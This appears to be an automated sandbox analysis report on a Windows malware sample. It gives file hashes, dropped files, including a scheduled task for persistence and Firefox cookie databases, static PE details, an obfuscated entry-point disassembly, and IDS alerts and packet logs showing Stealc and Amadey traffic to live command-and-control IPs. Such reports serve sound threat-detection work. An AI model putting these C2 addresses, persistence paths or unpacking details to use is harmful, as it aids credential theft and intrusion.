MD5:	02F8814BF92076A189CBB26DE55208F0
SHA1:	640ADC5B0E46F5BBAD7C7C1337B7D7B4458D4AA3
SHA-256:	AB00D5E46AEE52694B2061FFFAE5CFD02F53F1E9F18CCB92975E036743EFAFBA
SHA-512:	7CF0B855CD325E52F93398C8A025B6A428C1F6225C826F487B364F23C90545250D3D509CC6B6A5523AB22962B3DAD0EEFB01A13F8B60DA5D70587309DF4B02EC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af.............................@K...........@..........................pK......=....@.................................X...l............................&K..............................&K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...rxceoony.....@1.....................@...zwqjotmk.....0K.....................@....taggant.0...@K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1901056
Entropy (8bit):	7.947990003517915
Encrypted:	false
SSDEEP:	24576:fMP/Yq4emBT7hXZikirFBs6DgUn6GWCmR6ziwA7t4WkILL9aaLIQo/msMzqEfKT:BNDBTpIkYFBsRU6G3mOG4+LwasN/7of
MD5:	02F8814BF92076A189CBB26DE55208F0
SHA1:	640ADC5B0E46F5BBAD7C7C1337B7D7B4458D4AA3
SHA-256:	AB00D5E46AEE52694B2061FFFAE5CFD02F53F1E9F18CCB92975E036743EFAFBA
SHA-512:	7CF0B855CD325E52F93398C8A025B6A428C1F6225C826F487B364F23C90545250D3D509CC6B6A5523AB22962B3DAD0EEFB01A13F8B60DA5D70587309DF4B02EC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af.............................@K...........@..........................pK......=....@.................................X...l............................&K..............................&K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...rxceoony.....@1.....................@...zwqjotmk.....0K.....................@....taggant.0...@K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe
File Type:	data
Category:	dropped
Size (bytes):	310
Entropy (8bit):	3.5118511863685518
Encrypted:	false
SSDEEP:	6:8Dpf4XpJUEZ+lX1QYShMl6lm6tcVAkXIEZ8MlW8+y0l1gCut0:dpJQ13vgFkXd8kX+V1gLt0
MD5:	24771B0D3020DF9B92E723E40160FABE
SHA1:	F58AA391B859EF83B58E06988A78C53835054090
SHA-256:	260FD3C90DBF484C07C9D8BE1064A47B062E36124BB43571912D5FCF504352F5
SHA-512:	D71BDBC5C38F36518234E9728A4C1F297DC2FD67311EFE9DE3668D9ED30F7330E7A3F607FF8399B66A861339EBD5E6B28B82F1863E854A932A2BCF2E1A6E184E
Malicious:	false
Preview:	.....T.T.}=@..{....F.......<... .....s.......... ....................=.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.d.4.0.9.7.1.b.6.b.\.e.x.p.l.o.r.t.i...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.413950043760322
Encrypted:	false
SSDEEP:	6144:zcifpi6ceLPL9skLmb0moSWSPtaJG8nAgex285i2MMhA20X4WABlGuNb5+:oi58oSWIZBk2MM6AFBZo
MD5:	202E92BD5B43040B8908827F71E6E8A6
SHA1:	4B03691A2659EED1106058DA5B6A9CB7C1DCBA6D
SHA-256:	F70F01B6853661CE32D0749F1FE2AFA58DC1CA59583A8CF41513D0D524F493B8
SHA-512:	D84E20E5FD326269EB39DBE2E630A94D04B15B1BA08BC4F87AB0E91F7A2A1273617F0AA2A098591AE4A30BB35AE040A57070B5D30A31F0DC169F7C02AA1F7237
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmf.K.................................................................................................................................................................................................................................................................................................................................................S"]:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.974226590504258
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'464'256 bytes
MD5:	16bf3fec4a6dc3fd98a032b500c5b3de
SHA1:	299a6b404e7eeecc50cb6fe526e37f9c2b970ef0
SHA256:	d64aab9e3aa0e3f707bfff0b1179a3d4f1bf4e7335c922a85181f8b3c05e7bd5
SHA512:	4fbbc77b2f3888727c6f57d64a237c4cb70843473b5d955c35e63b679ede7dcb2edaf4887f8b6668238b1ebccf7959993e7d383133a7da1b4169517bc772de07
SSDEEP:	49152:d+8uRWQ9TONtSKsZfxA3fIlgzXzJVWVF86B52/LHWv15i8prAB3SBwZVT8:DOnCXzXzJc86+/azZQCBwZV
TLSH:	F6B533A0581A17C4C1C85EB0DB61DC82F31AC831BB5CCA606B5DA58D0BDE78DD7BBB54
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xfd4114
Entrypoint Section:	.data
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6686E6C8 [Thu Jul 4 18:15:36 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	001806c33a6e9fe5fbff34bdbd79b591

Entrypoint Preview

Instruction
jmp 00007F3460B35D5Ah
add byte ptr [esp+eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-18h], ah
add byte ptr [eax], al
add byte ptr [eax], al
pop ebp
sub ebp, 00000010h
sub ebp, 00BD4114h
jmp 00007F3460B35D59h
xlatb
jnp 00007F3460B35D43h
xchg eax, esi
mov eax, 00BD4114h
add eax, ebp
add eax, 0000004Ch
mov ecx, 000005B9h
mov edx, 3D2F5C1Dh
xor byte ptr [eax], dl
inc eax
dec ecx
jne 00007F3460B35D4Ch
jmp 00007F3460B35D59h
and eax, 96084FD6h
rcl byte ptr [esi+1D1D2194h], 1
sbb eax, 1DE5DC9Ch
sbb eax, A5D01E1Dh
sbb dword ptr [35A71D1Dh], ebx
sbb eax, FFEA1D1Dh
push ds
aad 96h
pushfd
adc dword ptr [D81E1D1Dh], ebx
nop
jns 00007F3460B35D8Bh
loope 00007F3460B35CE6h
sbb dword ptr [ecx], edi
dec ebp
jne 00007F3460B35D23h
cmp eax, 4F5B751Dh
sbb dword ptr [7539311Ch], 38D06BD0h
cmc
sbb byte ptr [35F41D1Dh], bl
sbb eax, 96481D1Dh
int1
xchg eax, esi
cwde
adc eax, 961D1D1Dh
mov byte ptr [ecx], dl
sbb eax, 90961D1Dh
or eax, DC1D1D1Dh
hlt
pop ds
sub al, 1Fh
sahf
fistp word ptr [ecx]
push esp
adc bl, byte ptr [eax-1D1D1D17h]
inc eax
fist word ptr [ecx]
sbb eax, 19399196h
sbb eax, 0000001Dh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x9c2020	0xc76	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9c2c98	0x20c	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9c2000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x1b000	0xa400	342ee64d546d56d0ec0e7e6e191182e0	False	0.9996903582317073	data	7.9941784269067595	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x1c000	0x8000	0x4000	8fd6a06e52f4862b06968d42168cf59e	False	0.991943359375	data	7.973056301433428	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24000	0x213000	0x400	ffa7b868438376f5f290ebee57cb570b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x237000	0x5000	0x2000	6e7b09807859befb5d4a00bd8f386f18	False	0.989990234375	data	7.946374251055881	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x23c000	0x783000	0x32800	9f43ef47c0febebc21bb7e60bb043b77	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x9bf000	0x217000	0x216600	1195938a45935eaa9b29c94b10062c96	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
msvcrt.dll	strncpy

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/05/24-06:22:59.752276	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49699	80	192.168.2.7	85.28.47.30
07/05/24-06:23:24.250522	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	51497	80	192.168.2.7	77.91.77.82
07/05/24-06:22:59.945226	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49699	80	192.168.2.7	85.28.47.30
07/05/24-06:22:59.943416	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49699	85.28.47.30	192.168.2.7
07/05/24-06:23:00.137638	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49699	85.28.47.30	192.168.2.7
07/05/24-06:22:58.755313	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49699	80	192.168.2.7	85.28.47.30

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 5, 2024 06:22:58.749645948 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:22:58.754494905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:22:58.754585028 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:22:58.755312920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:22:58.760179996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:22:59.687908888 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:22:59.688112020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:22:59.752275944 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:22:59.758361101 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:22:59.943416119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:22:59.943434000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:22:59.943505049 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:22:59.945225954 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:22:59.950022936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:00.137638092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:00.137684107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:00.137693882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:00.137706995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:00.137726068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:00.137734890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:00.137778997 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:00.137835026 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:00.140414000 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:00.145212889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:00.323432922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:00.323575020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:00.344970942 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:00.345040083 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:00.349915981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:00.349926949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:00.349935055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:00.349944115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:00.350080967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:00.350090981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.073355913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.073487043 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.448185921 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.453288078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.631858110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.631875992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.631889105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.631901026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.631916046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.631927013 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.631977081 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.632244110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.632289886 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.632395029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.632445097 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.632486105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.632503033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.632517099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.632525921 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.632531881 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.632545948 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.632565022 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.633414984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.633467913 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.721546888 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.721565008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.721632004 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.721649885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.721662998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.721674919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.721712112 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.721745014 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.722057104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.722079992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.722091913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.722104073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.722106934 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.722165108 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.725440979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.725454092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.725465059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.725502968 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.725549936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.725665092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.725681067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.725692987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.725704908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.725713968 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.725718975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.725742102 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.725774050 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.726473093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.726511955 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.726541042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.726553917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.726566076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.726578951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.726587057 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.726630926 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.727390051 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.727410078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.727423906 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.727436066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.727446079 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.727449894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.727473021 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.727505922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.808495045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.808507919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.808520079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.808551073 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.808584929 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.808789968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.808801889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.808814049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.808850050 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.808865070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.815264940 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.815275908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.815288067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.815299034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.815324068 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.815370083 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.815573931 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.815587044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.815598011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.815608978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.815613985 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.815620899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.815632105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.815643072 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.815645933 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.815676928 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.815689087 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.816490889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.816503048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.816514015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.816528082 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.816545010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.816557884 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.816593885 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.818984032 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.819025040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.819031000 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.819057941 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.819092989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.819103956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.819113970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.819123983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.819139957 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.819179058 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.819575071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.819614887 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.819621086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.819632053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.819654942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.819660902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.819664955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.819673061 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.819677114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.819703102 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.819727898 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.820405006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.820449114 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:01.820521116 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.820530891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.820540905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.820550919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.820560932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.820573092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:01.820657015 CEST	49699	80	192.168.2.7	85.28.47.30
